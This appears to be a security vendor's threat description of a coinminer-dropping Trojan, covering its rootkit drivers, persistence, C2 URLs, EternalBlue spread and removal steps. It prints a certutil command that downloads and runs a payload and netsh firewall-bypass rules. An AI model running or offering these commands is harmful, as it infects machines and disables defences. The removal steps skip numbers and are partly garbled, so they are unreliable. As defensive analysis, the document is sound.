OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It connects to certain websites to send and receive information.
TECHNICAL DETAILS
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan drops the following component file(s):
- %System%\drivers\winmon.sys - rootkit, hides processes.
- %System%\drivers\WinmonFS.sys - rootkit, hides files and folders.
- %System%\drivers\WinmonProcessMonitor.sys - rootkit, finds specific processes and closes them.
(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)
It drops the following copies of itself into the affected system:
- %Windows%\rss\csrss.exe
(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)
It creates the following folders:
- %User Temp%\csrss
- %Windows%\rss
(Note: %User Temp% is the user's temporary folder, where it usually is C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local\Temp on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)
It adds the following mutexes to ensure that only one of its copies runs at any one time:
- Global\h48yorbq6rm87zot
It terminates the execution of the copy it initially executed and executes the copy it drops instead.
Autostart Technique
This Trojan adds the following registry entries to enable its automatic execution at every system startup:
HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
{random name} = %Windows%\rss\csrss.exe

Other Details
This Trojan connects to the following website to send and receive information:
- https://{DOMAIN}/bots/register
- https://{DOMAIN}/bots/poll
- https://{DOMAIN}/bots/update-data
- https://{DOMAIN}/bots/report-install
- https://{DOMAIN}/bots/log
- https://{DOMAIN}/bots/report
- https://{BLOCKED}mmute.{BLOCKED}/bots/install-failure
It does the following:
- This malware uses EternalBlue/DoublePulsar components to takes advantage of the following software vulnerabilities to distribute its coinminer component across networks:
- Microsoft Windows SMB Server (MS17-010) Vulnerability
- It terminates itself if it detects it is being run in a VMware or VirtualBox environment.
- It executes the following commands to bypass Windows Firewall:
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%Windows%\rss\csrss.exe" enable=yes
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="%Application Data%\EpicNet Inc\CloudNet\cloudnet.exe" enable=yes - It connects to the following website to download a miner and its configuration file:
https://{DOMAIN}.com/bots/check?uuid={UUID}
https://{DOMAIN}.com/bots/checkv?uuid={UUID}
The downloaded coinminer component is saved as:
%User temp%\wup\wup.exe
%User temp%\wup\wupv.exe - It disables Windows Update services by modifying the following registry entry:
HKEY_LOCAL_MACHINE\CurrentControlSet\services\wuauserv
value = Start
data = 4
It adds the following scheduled tasks:
- Task Name: csrss
Schedule: At log on of any user
Task to be run: %Windows%\rss\csrss.exe - Task Name: ScheduledUpdate
Schedule: At log on of any user
Task to be run: cmd.exe /C certutil.exe -urlcache -split -f http://{BLOCKED}.com/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe /31340
NOTES:
The value {DOMAIN} can be one of the following below:
{BLOCKED}mmute.{BLOCKED}
{BLOCKED}acon.{BLOCKED}
SOLUTION
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Restart in Safe Mode
Step 4
Delete this registry key
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

- From: Start = 4
To: Start = (usually 2)
- From: Start = 4
Step 7
Deleting Scheduled Tasks
The following {Task Name} - {Task to be run} listed should be used in the steps identified below:
Task to be run: %Windows%\rss\csrss.exe
Task to be run: cmd.exe /C certutil.exe -urlcache -split -f http://{BLOCKED}mmer.com/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe /31340
For Windows 2000, Windows XP, and Windows Server 2003:
- Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
System Tools>Scheduled Tasks. - Locate each {Task Name} values listed above in the Name column.
- Right-click on the said file(s) with the aforementioned value.
- Click on Properties. In the Run field, check for the listed {Task to be run}.
- If the strings match the list above, delete the task.
For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:
- Open the Windows Task Scheduler. To do this:
• On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
• On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter. - In the left panel, click Task Scheduler Library.
- In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
- In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
- If the said string is found, delete the task.
